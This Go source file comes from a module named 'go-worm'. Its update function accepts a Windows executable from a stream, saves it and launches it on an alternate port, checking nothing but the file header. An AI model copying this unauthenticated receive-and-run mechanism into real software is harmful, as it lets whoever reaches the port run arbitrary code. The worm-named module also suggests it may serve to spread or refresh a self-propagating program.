package update import ( "fmt" "io" "net" "os" "path/filepath" "time" "tea.chunkbyte.com/kato/go-worm/lib/config" ) // Deploy saves exe and launches it on the alternate listen port (5032 <-> 5033). func Deploy(currentAddr string, body io.Reader) (savedPath, nextAddr string, err error) { nextAddr, err = config.AlternateListenAddr(currentAddr) if err != nil { return "", "", err } if err := listenAvailable(nextAddr); err != nil { return "", "", err } dir, err := config.UpdatesDir() if err != nil { return "", "", err } if err := os.MkdirAll(dir, 0o700); err != nil { return "", "", err } name := fmt.Sprintf("update-%s.exe", time.Now().Format("20060102-150405")) savedPath = filepath.Join(dir, name) out, err := os.OpenFile(savedPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700) if err != nil { return "", "", err } var head [2]byte if _, err := io.ReadFull(body, head[:]); err != nil { _ = out.Close() _ = os.Remove(savedPath) return "", "", fmt.Errorf("invalid executable") } if head[0] != 'M' || head[1] != 'Z' { _ = out.Close() _ = os.Remove(savedPath) return "", "", fmt.Errorf("file is not a Windows executable") } if _, err := out.Write(head[:]); err != nil { _ = out.Close() _ = os.Remove(savedPath) return "", "", err } if _, err := io.Copy(out, body); err != nil { _ = out.Close() _ = os.Remove(savedPath) return "", "", err } if err := out.Close(); err != nil { _ = os.Remove(savedPath) return "", "", err } if err := deployLaunch(savedPath, nextAddr); err != nil { _ = os.Remove(savedPath) return "", "", err } return savedPath, nextAddr, nil } func listenAvailable(addr string) error { ln, err := net.Listen("tcp", addr) if err != nil { return fmt.Errorf("port %s is not available: %w", addr, err) } _ = ln.Close() return nil }